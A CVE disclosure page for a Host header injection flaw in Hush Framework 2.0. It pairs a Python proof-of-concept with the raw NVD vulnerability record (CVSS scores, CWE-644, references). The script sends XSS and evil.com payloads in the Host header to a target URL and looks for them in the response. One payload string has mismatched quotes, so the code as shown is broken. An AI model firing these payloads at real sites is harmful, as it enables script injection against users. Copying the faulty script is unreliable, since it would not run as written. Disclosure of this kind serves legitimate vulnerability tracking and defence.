CVE-2025-13434

import requests # CVE-2025-13434 PoC - HTTP Host Header Injection in Hush Framework 2.0 # Target: jameschz Hush Framework 2.0 def test_host_header_injection(target_url): """ Test for HTTP Host Header Injection vulnerability This PoC demonstrates how an attacker can inject arbitrary Host headers """ # Normal request for baseline normal_headers = { 'Host': 'legitimate-site.com' } # Malicious Host header payloads payloads = [ "<script>alert('XSS')</script>.evil.com", "xss"</script><script>alert('XSS')</script>", "http://evil.com/cache-busting", "127.0.0.1', followed by malicious content" ] print(f"[*] Testing target: {target_url}") print(f"[*] Baseline request to: {normal_headers['Host']}") try: # Send baseline request response = requests.get(target_url, headers=normal_headers, timeout=10) print(f"[+] Baseline response status: {response.status_code}") # Test each payload for i, payload in enumerate(payloads, 1): malicious_headers = { 'Host': payload } print(f"\n[*] Testing payload {i}: {payload}") response = requests.get(target_url, headers=malicious_headers, timeout=10) # Check if payload is reflected in response if payload.replace('<', '').replace('>', '') in response.text or \ 'evil.com' in response.text or \ 'xss' in response.text.lower(): print(f"[!] Potential vulnerability detected with payload {i}") print(f"[+] Host header was processed without proper sanitization") else: print(f"[-] Payload {i} did not trigger obvious vulnerability indicators") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": # Example usage target = "http://vulnerable-app.com/" test_host_header_injection(target)

{"cve": {"id": "CVE-2025-13434", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:24.617", "lastModified": "2025-12-11T19:06:28.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in jameschz Hush Framework 2.0. The impacted element is an unknown function of the file Hush\\hush-lib\\hush\\Util.php of the component HTTP Host Header Handler. This manipulation of the argument $_SERVER['HOST'] causes improper neutralization of http headers for scripting syntax. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be exploited. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-644"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jameschz:hush:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "444D907E-01E6-4FB3-BD6A-6C6AC68BD62A"}]}]}], "references": [{"url": "https://github.com/lakshayyverma/CVE-Discovery/blob/main/hush.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.332978", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.332978", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.687568", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://github.com/lakshayyverma/CVE-Discovery/blob/main/hush.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}